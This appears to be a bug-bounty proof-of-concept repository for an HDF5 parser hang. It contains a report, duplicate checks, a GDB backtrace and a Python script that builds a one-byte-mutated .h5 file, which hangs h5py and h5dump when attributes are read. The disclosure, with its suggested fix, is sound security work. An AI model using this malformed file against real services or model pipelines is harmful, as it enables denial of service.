Add HDF5 vlen attribute global heap hang PoC

README.md

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+---
+license: mit
+tags:
+  - security
+  - hdf5
+  - h5py
+  - denial-of-service
+  - poc
+  - huntr
+---
+
+# HDF5 vlen attribute/global heap hang PoC
+
+This repository contains a minimal proof of concept for an HDF5 parser hang when
+reading a single-byte malformed `.h5` file.
+
+PoC URL: `https://huggingface.co/hacnho/hdf5-vlen-attr-global-heap-hang-poc`
+
+## Summary
+
+The control file is a valid 12,904-byte HDF5 file with two variable-length UTF-8
+root attributes and a normal scaleoffset/gzip dataset. Changing one byte at
+offset `0x818` from `0x1d` to `0x93` keeps the file openable, but reading root
+attributes hangs in HDF5 global heap/vlen attribute handling.
+
+Confirmed affected paths:
+
+- `h5py==3.16.0` linked against official HDF5 `2.1.0`
+- official HDF5 `2.1.0` `h5dump -A`
+- stock `h5py==3.16.0` wheel with bundled HDF5 `2.0.0`
+
+This is not the Fletcher32 crash. The PoC has no Fletcher32 filter.
+
+## Reproduce
+
+```bash
+python3 -m venv /tmp/hdf5-vlen-attr-hang
+/tmp/hdf5-vlen-attr-hang/bin/python -m pip install --upgrade pip
+/tmp/hdf5-vlen-attr-hang/bin/python -m pip install -r requirements.txt
+/tmp/hdf5-vlen-attr-hang/bin/python reproduce_hdf5_vlen_attr_global_heap_hang.py
+```
+
+Expected result:
+
+```text
+runtime_h5py=3.16.0
+runtime_hdf5=2.1.0
+mutation=offset 0x818: 0x1d -> 0x93
+
+--- control ---
+returncode=0
+
+--- malicious ---
+returncode=timeout_after_8s
+stdout:
+h5py=3.16.0 hdf5=2.1.0
+opened
+```
+
+The malicious file opens successfully and hangs when root variable-length
+attributes are read.
+
+## Files
+
+- `reproduce_hdf5_vlen_attr_global_heap_hang.py` - deterministic one-byte builder and reproducer.
+- `control_scaleoffset_int.h5` - valid HDF5 control file.
+- `hdf5_vlen_attr_global_heap_single_byte_hang.h5` - same-size file with one byte changed.
+- `reproduce-output-hdf5-2.1.0.txt` - captured reproduction against HDF5 2.1.0.
+- `scaleoffset-attr-hang-hdf5-2.1.0-gdb-bt.txt` - native stack snapshot.
+- `h5dump-2.1.0-control.txt` and `h5dump-2.1.0-poc.txt` - HDF5 tool evidence.
+- `environment.txt` - tested package and runtime versions.
+- `duplicate-check.md` - local/public duplicate review.
+- `report.md` - full report draft.
+- `SHA256SUMS.txt` - artifact hashes.
+
+## Notes
+
+No code execution is claimed. The demonstrated impact is process-level denial of
+service via unbounded CPU/hang in HDF5 global heap/vlen attribute parsing.

SHA256SUMS.txt

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+50556bda4784fbb959ef08d529b6ffd2c078034b74afc338b335bac969aa80a2  targets/huntr/evidence/hdf5-non-fletcher-lab/control_scaleoffset_int.h5
+a255c9cf170ad6bce12e73e890c10d46179a08563a5631f56f5c494fd746fff6  targets/huntr/evidence/hdf5-non-fletcher-lab/hdf5_vlen_attr_global_heap_single_byte_hang.h5

control_scaleoffset_int.h5

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+version https://git-lfs.github.com/spec/v1
+oid sha256:50556bda4784fbb959ef08d529b6ffd2c078034b74afc338b335bac969aa80a2
+size 12904

duplicate-check.md

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+# Duplicate Check - HDF5 vlen attribute/global heap hang
+
+Date: 2026-06-24 UTC / 2026-06-25 Asia/Ho_Chi_Minh
+
+## Local Submitted-Report Denylist
+
+Source:
+
+- `/home/hacnho/Projects/research/huntr_mysubmission.html`
+- Parsed denylist: `targets/huntr/evidence/dashboard-dupcheck-20260624/huntr-submissions-denylist-latest.json`
+
+Matched adjacent entries only:
+
+- `HDF5 Fletcher32 filter SIGSEGV on single-byte malformed chunked dataset in HDF5`
+- `Pickle scanner bypass via h5py File.create_dataset writes attacker-controlled HDF5 files while picklescan and modelscan report clean in Pickle`
+
+Verdict: not a local duplicate. This candidate is a native HDF5 root attribute/global heap hang with `fletcher32=False`, not Fletcher32 and not pickle.
+
+## Huntr Hacktivity Title Filter
+
+Script:
+
+```bash
+python3 targets/huntr/poc/tflite-litert-lab/huntr_hacktivity_title_filter.py \
+  --out-dir targets/huntr/evidence/hdf5-non-fletcher-lab \
+  --terms H5HG H5Aread "global heap" "HDF5 attribute" "HDF5 vlen" \
+  --max-clicks 0 --click-delay-ms 500
+```
+
+Result file:
+
+- `targets/huntr/evidence/hdf5-non-fletcher-lab/hacktivity-title-filter-results-2026-06-23.json`
+
+All terms returned `link_count: 0` for the first 100 scanned reports.
+
+## Public Prior Art
+
+Adjacent but not the same:
+
+- HDFGroup issue `hdf5#2662`: historical `h5diff` SIGSEGV in HDF5 1.14.0 around vlen attributes/global heap. This candidate reproduces on HDF5 2.1.0, affects `h5dump -A` and h5py root attribute reads, and manifests as a hang.
+- CVE-2024-29160: older heap overflow in `H5HG__cache_heap_deserialize` through HDF5 1.14.3. This candidate affects HDF5 2.1.0 and is an unbounded hang.
+- Huntr/Vulners `Integer Overflow Bypasses Memory Safety Checks in H5 Dataset Loading`: Keras/H5 dataset loading, not root vlen attributes/global heap.
+- Keras/HDF5 external-link and external-storage reports: different surface; this PoC uses no external links/storage.
+
+Verdict: candidate NOVEL, with adjacent global-heap/vlen prior disclosed honestly.

environment.txt

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+date_utc=2026-06-24T19:08:27Z
+python_wheel=Python 3.12.3
+wheel_h5py=3.16.0
+wheel_hdf5=2.0.0
+python_source=Python 3.12.3
+source_h5py=3.16.0
+source_hdf5=2.1.0
+h5dump: Version 2.1.0
+uname=Linux ubuntu 6.17.0-19-generic #19~24.04.2-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 6 23:08:46 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

h5dump-2.1.0-control.txt

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+HDF5 "targets/huntr/evidence/hdf5-non-fletcher-lab/control_scaleoffset_int.h5" {
+GROUP "/" {
+   ATTRIBUTE "probe" {
+      DATATYPE  H5T_STRING {
+         STRSIZE H5T_VARIABLE;
+         STRPAD H5T_STR_NULLTERM;
+         CSET H5T_CSET_UTF8;
+         CTYPE H5T_C_S1;
+      }
+      DATASPACE  SCALAR
+      DATA {
+      (0): "hdf5 non-fletcher filter seed"
+      }
+   }
+   ATTRIBUTE "seed_name" {
+      DATATYPE  H5T_STRING {
+         STRSIZE H5T_VARIABLE;
+         STRPAD H5T_STR_NULLTERM;
+         CSET H5T_CSET_UTF8;
+         CTYPE H5T_C_S1;
+      }
+      DATASPACE  SCALAR
+      DATA {
+      (0): "scaleoffset_int"
+      }
+   }
+   DATASET "d" {
+      DATATYPE  H5T_STD_I32LE
+      DATASPACE  SIMPLE { ( 64, 64 ) / ( 64, 64 ) }
+   }
+   DATASET "tail" {
+      DATATYPE  H5T_STD_U8LE
+      DATASPACE  SIMPLE { ( 17 ) / ( 17 ) }
+   }
+}
+}

hdf5_vlen_attr_global_heap_single_byte_hang.h5

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+version https://git-lfs.github.com/spec/v1
+oid sha256:a255c9cf170ad6bce12e73e890c10d46179a08563a5631f56f5c494fd746fff6
+size 12904

report.md

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+# HDF5 global heap/vlen attribute read hangs on single-byte malformed H5 file
+
+## Summary
+
+HDF5 2.1.0, the current upstream release, can be forced into a non-terminating read path with a 12.9 KB `.h5` file that differs from a valid control file by one byte.
+
+The PoC starts from a valid HDF5 file containing two variable-length UTF-8 root attributes and a normal scaleoffset/gzip dataset. Flipping one byte at offset `0x818` from `0x1d` to `0x93` keeps the file openable, but reading root attributes through normal HDF5 consumers hangs instead of returning a bounded parse error.
+
+Confirmed affected paths:
+
+- `h5py.File(path, "r"); list(f.attrs.items())` using `h5py==3.16.0` linked against official HDF5 `2.1.0`
+- official HDF5 `2.1.0` `h5dump -A malicious.h5`
+- the stock `h5py==3.16.0` PyPI wheel, which bundles HDF5 `2.0.0`
+
+This is not the already-submitted Fletcher32 crash. The PoC has `fletcher32=False` and the stack is in variable-length attribute/global-heap parsing, not the filter pipeline.
+
+## Target
+
+- Huntr MFV target: `HDF5 (.h5)`
+- Affected library: HDF5
+- Tested upstream version: HDF5 `2.1.0`
+- Tested Python binding: `h5py==3.16.0`
+- Loader paths:
+  - `h5py.File(...); list(f.attrs.items())`
+  - `h5dump -A <file>`
+- Platform: Linux x86_64, Python 3.12.3
+
+## Proof Of Concept
+
+Evidence package:
+
+- Hugging Face PoC: `https://huggingface.co/hacnho/hdf5-vlen-attr-global-heap-hang-poc`
+- `reproduce_hdf5_vlen_attr_global_heap_hang.py`
+- `control_scaleoffset_int.h5`
+- `hdf5_vlen_attr_global_heap_single_byte_hang.h5`
+- `reproduce-output-hdf5-2.1.0.txt`
+- `scaleoffset-attr-hang-hdf5-2.1.0-gdb-bt.txt`
+- `h5dump-2.1.0-control.txt`
+- `h5dump-2.1.0-poc.txt`
+- `environment.txt`
+- `SHA256SUMS.txt`
+
+Run:
+
+```bash
+python3 -m venv /tmp/hdf5-vlen-attr-hang
+/tmp/hdf5-vlen-attr-hang/bin/python -m pip install --upgrade pip
+/tmp/hdf5-vlen-attr-hang/bin/python -m pip install -r requirements.txt
+/tmp/hdf5-vlen-attr-hang/bin/python reproduce_hdf5_vlen_attr_global_heap_hang.py
+```
+
+Expected output on the official HDF5 2.1.0 build:
+
+```text
+runtime_h5py=3.16.0
+runtime_hdf5=2.1.0
+control=.../control_scaleoffset_int.h5 size=12904 sha256=50556bda4784fbb959ef08d529b6ffd2c078034b74afc338b335bac969aa80a2
+malicious=.../hdf5_vlen_attr_global_heap_single_byte_hang.h5 size=12904 sha256=a255c9cf170ad6bce12e73e890c10d46179a08563a5631f56f5c494fd746fff6
+mutation=offset 0x818: 0x1d -> 0x93
+
+--- control ---
+returncode=0
+stdout:
+h5py=3.16.0 hdf5=2.1.0
+opened
+[('probe', 'hdf5 non-fletcher filter seed'), ('seed_name', 'scaleoffset_int')]
+done
+
+--- malicious ---
+returncode=timeout_after_8s
+stdout:
+h5py=3.16.0 hdf5=2.1.0
+opened
+```
+
+The malicious file opens successfully and hangs only when the root variable-length attributes are read.
+
+## Mutation Details
+
+Only one byte differs:
+
+```text
+seed size: 12904
+malicious size: 12904
+diff offset: 2072 / 0x818
+original: 0x1d
+mutated:  0x93
+```
+
+The control file has no Fletcher32 filter:
+
+```text
+shape (64, 64)
+chunks (8, 64)
+compression gzip
+shuffle False
+scaleoffset 2
+fletcher32 False
+```
+
+## HDF5 2.1.0 Tool Evidence
+
+Official HDF5 2.1.0 `h5dump -A` on the control file returns normally and prints both attributes.
+
+The same `h5dump -A` invocation on the single-byte malicious file timed out after 8 seconds:
+
+```text
+h5dump: Version 2.1.0
+h5dump_control_rc=0
+h5dump_poc_rc=124
+```
+
+## Native Stack Snapshot
+
+Interrupting the hung HDF5 2.1.0 process under GDB shows the main thread stuck in global-heap deserialization reached from variable-length attribute conversion:
+
+```text
+#0  H5F_sizeof_size(...) at H5Fquery.c:404
+#1  H5HG__cache_heap_deserialize(...) at H5HGcache.c:337
+#2  H5C__load_entry(...) at H5Centry.c:1241
+#3  H5C_protect(...) at H5Centry.c:3149
+#4  H5AC_protect(...) at H5AC.c:1302
+#5  H5HG__protect(...) at H5HG.c:238
+#6  H5HG_get_obj_size(...) at H5HG.c:704
+#7  H5VL__native_blob_get(...) at H5VLnative_blob.c:118
+#10 H5T__vlen_disk_read(...) at H5Tvlen.c:839
+#11 H5T__conv_vlen(...) at H5Tconv_vlen.c:412
+#14 H5A__read(...) at H5Aint.c:787
+#19 H5Aread(...) at H5A.c:1021
+```
+
+Full backtrace is included as `scaleoffset-attr-hang-hdf5-2.1.0-gdb-bt.txt`.
+
+## Impact
+
+Any service, model registry, scanner, converter, notebook, or ML ingestion pipeline that accepts `.h5` artifacts and reads root attributes can be pinned by a tiny attacker-controlled file. This includes common validation patterns such as `h5dump -A` and Python code using `h5py.File(...).attrs`.
+
+The PoC does not require a large input, deep nesting, external links, external storage, custom plugins, dynamic filters, or code execution. I am conservatively claiming process-level denial of service via unbounded CPU/hang, not memory corruption or RCE.
+
+## Root Cause Hypothesis
+
+The single-byte corruption appears to alter a global heap / variable-length attribute reference. When the root attribute is read, HDF5 enters:
+
+```text
+H5Aread -> H5T__conv_vlen -> H5T__vlen_disk_read -> H5HG_get_obj_size -> H5HG__cache_heap_deserialize
+```
+
+Instead of detecting the malformed global heap metadata and returning an error, the deserialize/protect path does not terminate in bounded time.
+
+## Deduplication
+
+Local dashboard denylist from `/home/hacnho/Projects/research/huntr_mysubmission.html` had only these adjacent HDF5/h5py entries:
+
+- `HDF5 Fletcher32 filter SIGSEGV on single-byte malformed chunked dataset in HDF5`
+- `Pickle scanner bypass via h5py File.create_dataset writes attacker-controlled HDF5 files while picklescan and modelscan report clean in Pickle`
+
+Those are different: this PoC uses no Fletcher32 filter and is a native HDF5 parser hang, not a pickle scanner bypass.
+
+Huntr hacktivity title-filter checks returned zero bounty links for:
+
+- `H5HG`
+- `H5Aread`
+- `global heap`
+- `HDF5 attribute`
+- `HDF5 vlen`
+
+Public prior-art checks:
+
+- HDFGroup issue `hdf5#2662` is adjacent prior art for a historical `h5diff` SIGSEGV in HDF5 1.14.0 with variable-length attribute/global-heap stack frames. This PoC is different because it reproduces on HDF5 2.1.0, is a single-byte mutation from a valid h5py-generated file, affects `h5dump -A` and h5py root attribute reads, and causes an unbounded hang rather than the reported crash.
+- CVE-2024-29160 covers an older HDF5 heap overflow in `H5HG__cache_heap_deserialize` through 1.14.3. This PoC affects HDF5 2.1.0 and demonstrates a bounded-validation failure/hang, not the old through-1.14.3 overflow claim.
+- Huntr/Vulners lists `Integer Overflow Bypasses Memory Safety Checks in H5 Dataset Loading` in Keras. That is a Keras H5 dataset-loading issue, not this HDF5 root vlen-attribute/global-heap hang.
+- Public Keras reports around `model.weights.h5` external links and HDF5 external storage are different surfaces; this PoC uses no external links or external storage.
+
+Verdict: **candidate NOVEL**, with honest adjacent prior art in old HDF5 global-heap/vlen crash handling.
+
+## Suggested Fix
+
+- Validate global heap object offsets, lengths, and free-list/collection metadata before deserializing or protecting heap entries.
+- Add loop/iteration bounds or progress checks in `H5HG__cache_heap_deserialize`.
+- When `H5T__vlen_disk_read` receives a malformed heap reference for an attribute, return a normal HDF5 error rather than continuing indefinitely.
+- Add a regression test using `hdf5_vlen_attr_global_heap_single_byte_hang.h5` and assert that:
+  - `h5dump -A` exits with an error quickly.
+  - `h5py.File(...).attrs.items()` raises an exception quickly.

reproduce-output-hdf5-2.1.0.txt

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+runtime_h5py=3.16.0
+runtime_hdf5=2.1.0
+control=/home/hacnho/Projects/research/targets/huntr/evidence/hdf5-non-fletcher-lab/control_scaleoffset_int.h5 size=12904 sha256=50556bda4784fbb959ef08d529b6ffd2c078034b74afc338b335bac969aa80a2
+malicious=/home/hacnho/Projects/research/targets/huntr/evidence/hdf5-non-fletcher-lab/hdf5_vlen_attr_global_heap_single_byte_hang.h5 size=12904 sha256=a255c9cf170ad6bce12e73e890c10d46179a08563a5631f56f5c494fd746fff6
+mutation=offset 0x818: 0x1d -> 0x93
+
+--- control ---
+returncode=0
+stdout:
+h5py=3.16.0 hdf5=2.1.0
+opened
+[('probe', 'hdf5 non-fletcher filter seed'), ('seed_name', 'scaleoffset_int')]
+done
+
+--- malicious ---
+returncode=timeout_after_8s
+stdout:
+h5py=3.16.0 hdf5=2.1.0
+opened

reproduce_hdf5_vlen_attr_global_heap_hang.py

@@ -0,0 +1,101 @@
+#!/usr/bin/env python3
+from __future__ import annotations
+
+import hashlib
+import subprocess
+import sys
+from pathlib import Path
+
+import h5py
+
+
+HERE = Path(__file__).resolve().parent
+CONTROL = HERE / "control_scaleoffset_int.h5"
+MALICIOUS = HERE / "hdf5_vlen_attr_global_heap_single_byte_hang.h5"
+MUTATION_OFFSET = 0x818
+MUTATION_FROM = 0x1D
+MUTATION_TO = 0x93
+
+
+WORKER = r"""
+import h5py
+import sys
+
+print(f"h5py={h5py.__version__} hdf5={h5py.version.hdf5_version}", flush=True)
+with h5py.File(sys.argv[1], "r") as f:
+    print("opened", flush=True)
+    print(list(f.attrs.items()), flush=True)
+print("done", flush=True)
+"""
+
+
+def sha256(path: Path) -> str:
+    return hashlib.sha256(path.read_bytes()).hexdigest()
+
+
+def build_malicious() -> None:
+    data = bytearray(CONTROL.read_bytes())
+    if data[MUTATION_OFFSET] != MUTATION_FROM:
+        raise RuntimeError(
+            f"unexpected control byte at 0x{MUTATION_OFFSET:x}: "
+            f"0x{data[MUTATION_OFFSET]:02x}"
+        )
+    data[MUTATION_OFFSET] = MUTATION_TO
+    MALICIOUS.write_bytes(data)
+
+
+def run_case(label: str, path: Path, timeout: int = 8) -> dict:
+    try:
+        cp = subprocess.run(
+            [sys.executable, "-c", WORKER, str(path)],
+            stdout=subprocess.PIPE,
+            stderr=subprocess.PIPE,
+            text=True,
+            timeout=timeout,
+            check=False,
+        )
+        return {
+            "label": label,
+            "returncode": cp.returncode,
+            "stdout": cp.stdout,
+            "stderr": cp.stderr,
+        }
+    except subprocess.TimeoutExpired as exc:
+        return {
+            "label": label,
+            "returncode": f"timeout_after_{timeout}s",
+            "stdout": exc.stdout.decode() if isinstance(exc.stdout, bytes) else (exc.stdout or ""),
+            "stderr": exc.stderr.decode() if isinstance(exc.stderr, bytes) else (exc.stderr or ""),
+        }
+
+
+def main() -> int:
+    if not CONTROL.exists():
+        raise FileNotFoundError(CONTROL)
+    build_malicious()
+
+    print(f"runtime_h5py={h5py.__version__}")
+    print(f"runtime_hdf5={h5py.version.hdf5_version}")
+    print(f"control={CONTROL} size={CONTROL.stat().st_size} sha256={sha256(CONTROL)}")
+    print(f"malicious={MALICIOUS} size={MALICIOUS.stat().st_size} sha256={sha256(MALICIOUS)}")
+    print(
+        "mutation="
+        f"offset 0x{MUTATION_OFFSET:x}: 0x{MUTATION_FROM:02x} -> 0x{MUTATION_TO:02x}"
+    )
+
+    for label, path in [("control", CONTROL), ("malicious", MALICIOUS)]:
+        result = run_case(label, path)
+        print(f"\n--- {label} ---")
+        print(f"returncode={result['returncode']}")
+        if result["stdout"]:
+            print("stdout:")
+            print(result["stdout"], end="" if result["stdout"].endswith("\n") else "\n")
+        if result["stderr"]:
+            print("stderr:")
+            print(result["stderr"], end="" if result["stderr"].endswith("\n") else "\n")
+
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

requirements.txt

@@ -0,0 +1,2 @@
+h5py==3.16.0
+numpy==2.5.0

scaleoffset-attr-hang-hdf5-2.1.0-gdb-bt.txt

@@ -0,0 +1,62 @@
+[Thread debugging using libthread_db enabled]
+Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
+[Detaching after vfork from child process 2266953]
+h5py 3.16.0 hdf5 2.1.0
+opened
+
+Program received signal SIGINT, Interrupt.
+H5F_sizeof_size (f=f@entry=0xfea930) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Fquery.c:404
+warning: 404	/home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Fquery.c: No such file or directory
+
+Thread 1 (Thread 0x7ffff7e6a300 (LWP 2266916) "python"):
+#0  H5F_sizeof_size (f=f@entry=0xfea930) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Fquery.c:404
+#1  0x00007ffff6fc1cb8 in H5HG__cache_heap_deserialize (_image=<optimized out>, len=<optimized out>, _udata=0xfea930, dirty=<optimized out>) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5HGcache.c:337
+#2  0x00007ffff6eafe52 in H5C__load_entry (udata=0xfea930, addr=2048, type=0x7ffff72ced40 <H5AC_GHEAP>, f=0xfea930) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Centry.c:1241
+#3  H5C_protect (f=f@entry=0xfea930, type=type@entry=0x7ffff72ced40 <H5AC_GHEAP>, addr=addr@entry=2048, udata=udata@entry=0xfea930, flags=flags@entry=128) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Centry.c:3149
+#4  0x00007ffff6e8d4c1 in H5AC_protect (f=f@entry=0xfea930, type=0x7ffff72ced40 <H5AC_GHEAP>, addr=addr@entry=2048, udata=udata@entry=0xfea930, flags=128) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5AC.c:1302
+#5  0x00007ffff6fbf469 in H5HG__protect (f=f@entry=0xfea930, addr=2048, flags=flags@entry=128) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5HG.c:238
+#6  0x00007ffff6fc0049 in H5HG_get_obj_size (f=f@entry=0xfea930, hobj=hobj@entry=0x7fffffffc310, obj_size=obj_size@entry=0x7fffffffc308) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5HG.c:704
+#7  0x00007ffff71cc573 in H5VL__native_blob_get (obj=0xfea930, blob_id=<optimized out>, buf=0x1091a48, size=29, ctx=<optimized out>) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5VLnative_blob.c:118
+#8  0x00007ffff71b4aad in H5VL__blob_get (obj=0xfea930, cls=0xbdfb50, blob_id=0xf3010c, buf=0x1091a48, size=29, ctx=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5VLcallback.c:7521
+#9  0x00007ffff71c3736 in H5VL_blob_get (vol_obj=<optimized out>, blob_id=<optimized out>, buf=<optimized out>, size=<optimized out>, ctx=ctx@entry=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5VLcallback.c:7553
+#10 0x00007ffff71a9d60 in H5T__vlen_disk_read (file=<optimized out>, _vl=<optimized out>, buf=<optimized out>, len=<optimized out>) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Tvlen.c:839
+#11 0x00007ffff7199bf0 in H5T__conv_vlen (src=<optimized out>, dst=0x103c880, cdata=<optimized out>, conv_ctx=<optimized out>, nelmts=1, buf_stride=<optimized out>, bkg_stride=0, buf=0xf30108, bkg=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Tconv_vlen.c:412
+#12 0x00007ffff70c4c74 in H5T_convert_with_ctx (tpath=tpath@entry=0x1067690, src_type=src_type@entry=0x103cc80, dst_type=dst_type@entry=0x103c880, conv_ctx=conv_ctx@entry=0x7fffffffc6d0, nelmts=nelmts@entry=1, buf_stride=buf_stride@entry=0, bkg_stride=0, buf=0xf30108, bkg=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5T.c:6605
+#13 0x00007ffff70c5094 in H5T_convert (tpath=tpath@entry=0x1067690, src_type=0x103cc80, dst_type=dst_type@entry=0x103c880, nelmts=nelmts@entry=1, buf_stride=buf_stride@entry=0, bkg_stride=bkg_stride@entry=0, buf=0xf30108, bkg=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5T.c:6534
+#14 0x00007ffff6e86345 in H5A__read (attr=attr@entry=0x1070950, mem_type=mem_type@entry=0x103c880, buf=buf@entry=0x1070a40) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5Aint.c:787
+#15 0x00007ffff71cb4e2 in H5VL__native_attr_read (attr=0x1070950, dtype_id=<optimized out>, buf=0x1070a40, dxpl_id=792633534417207304, req=<optimized out>) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5VLnative_attr.c:213
+#16 0x00007ffff71aef0d in H5VL__attr_read (obj=0x1070950, cls=0xbdfb50, mem_type_id=mem_type_id@entry=216172782113784003, buf=buf@entry=0x1070a40, dxpl_id=dxpl_id@entry=792633534417207304, req=req@entry=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5VLcallback.c:1268
+#17 0x00007ffff71b7abf in H5VL_attr_read (vol_obj=<optimized out>, mem_type_id=mem_type_id@entry=216172782113784003, buf=buf@entry=0x1070a40, dxpl_id=792633534417207304, req=req@entry=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5VLcallback.c:1302
+#18 0x00007ffff6e77b97 in H5A__read_api_common (attr_id=attr_id@entry=504403158265495552, dtype_id=dtype_id@entry=216172782113784003, buf=buf@entry=0x1070a40, token_ptr=token_ptr@entry=0x0, _vol_obj_ptr=_vol_obj_ptr@entry=0x0) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5A.c:990
+#19 0x00007ffff6e7ab32 in H5Aread (attr_id=attr_id@entry=504403158265495552, dtype_id=dtype_id@entry=216172782113784003, buf=buf@entry=0x1070a40) at /home/runner/work/hdf5/hdf5/hdf5-2.1.0/src/H5A.c:1021
+#20 0x00007ffff73c7a79 in __pyx_f_4h5py_4defs_H5Aread (__pyx_v_attr_id=504403158265495552, __pyx_v_mem_type_id=216172782113784003, __pyx_v_buf=0x1070a40) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/defs.c:3927
+#21 0x00007ffff7b7f130 in __pyx_f_4h5py_6_proxy_attr_rw (__pyx_v_attr=504403158265495552, __pyx_v_mtype=216172782113783927, __pyx_v_progbuf=0xf3a580, __pyx_v_read=<optimized out>) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_proxy.c:5421
+#22 0x00007ffff44cd0cf in __pyx_pf_4h5py_3h5a_6AttrID_read (__pyx_v_mtype=0x7ffff1b4dc10, __pyx_v_arr=0x7ffff1a82df0, __pyx_v_self=0x7ffff75ea660) at /tmp/pip-build-env-u05q5lgw/overlay/lib/python3.12/site-packages/numpy/_core/include/numpy/ndarraytypes.h:1585
+#23 __pyx_pw_4h5py_3h5a_6AttrID_1read (__pyx_v_self=0x7ffff75ea660, __pyx_args=<optimized out>, __pyx_nargs=<optimized out>, __pyx_kwds=<optimized out>) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/h5a.c:11013
+#24 0x00007ffff7fa9abe in __Pyx_PyVectorcall_FastCallDict_kw (kw=0x7ffff1aaef40, nargs=<optimized out>, args=<optimized out>, vc=<optimized out>, func=0x7ffff1bf4d50) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_errors.c:7187
+#25 __Pyx_PyVectorcall_FastCallDict (kw=0x7ffff1aaef40, nargs=<optimized out>, args=<optimized out>, vc=<optimized out>, func=0x7ffff1bf4d50) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_errors.c:7216
+#26 __Pyx_CyFunction_CallAsMethod (func=0x7ffff1bf4d50, args=<optimized out>, kw=0x7ffff1aaef40) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_errors.c:8012
+#27 0x00007ffff737557d in __Pyx_PyObject_Call (kw=0x7ffff1aaef40, arg=0x7ffff7429c00, func=0x7ffff1bf4d50) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_objects.c:14469
+#28 __pyx_pf_4h5py_8_objects_9with_phil_wrapper (__pyx_v_kwds=0x7ffff7406a80, __pyx_v_args=0x7ffff7429c00, __pyx_self=<optimized out>) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_objects.c:6087
+#29 __pyx_pw_4h5py_8_objects_9with_phil_1wrapper (__pyx_self=<optimized out>, __pyx_args=0x7ffff7429c00, __pyx_kwds=<optimized out>) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_objects.c:5999
+#30 0x000000000054937e in _PyObject_MakeTpCall ()
+#31 0x00000000005d7389 in _PyEval_EvalFrameDefault ()
+#32 0x00007ffff737557d in __Pyx_PyObject_Call (kw=0x7ffff1aae880, arg=0x7ffff7429a80, func=0x7ffff1ac6c00) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_objects.c:14469
+#33 __pyx_pf_4h5py_8_objects_9with_phil_wrapper (__pyx_v_kwds=0x7ffff74069c0, __pyx_v_args=0x7ffff7429a80, __pyx_self=<optimized out>) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_objects.c:6087
+#34 __pyx_pw_4h5py_8_objects_9with_phil_1wrapper (__pyx_self=<optimized out>, __pyx_args=0x7ffff7429a80, __pyx_kwds=<optimized out>) at /tmp/pip-install-aq3ju7m_/h5py_710427fcf0d148a5bf45fb871199dc0a/h5py/_objects.c:5999
+#35 0x00000000005492b5 in _PyObject_MakeTpCall ()
+#36 0x00000000005a143d in ?? ()
+#37 0x00000000005d81c2 in _PyEval_EvalFrameDefault ()
+#38 0x0000000000555546 in ?? ()
+#39 0x0000000000560044 in ?? ()
+#40 0x00000000005616b6 in ?? ()
+#41 0x0000000000549cb5 in PyObject_Vectorcall ()
+#42 0x00000000005d7389 in _PyEval_EvalFrameDefault ()
+#43 0x00000000005d58bb in PyEval_EvalCode ()
+#44 0x0000000000608a33 in PyRun_StringFlags ()
+#45 0x00000000006b426e in PyRun_SimpleStringFlags ()
+#46 0x00000000006bcf31 in Py_RunMain ()
+#47 0x00000000006bc94d in Py_BytesMain ()
+#48 0x00007ffff7c2a1ca in __libc_start_call_main (main=main@entry=0x518c60, argc=argc@entry=4, argv=argv@entry=0x7fffffffd898) at ../sysdeps/nptl/libc_start_call_main.h:58
+#49 0x00007ffff7c2a28b in __libc_start_main_impl (main=0x518c60, argc=4, argv=0x7fffffffd898, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffd888) at ../csu/libc-start.c:360
+#50 0x0000000000657b05 in _start ()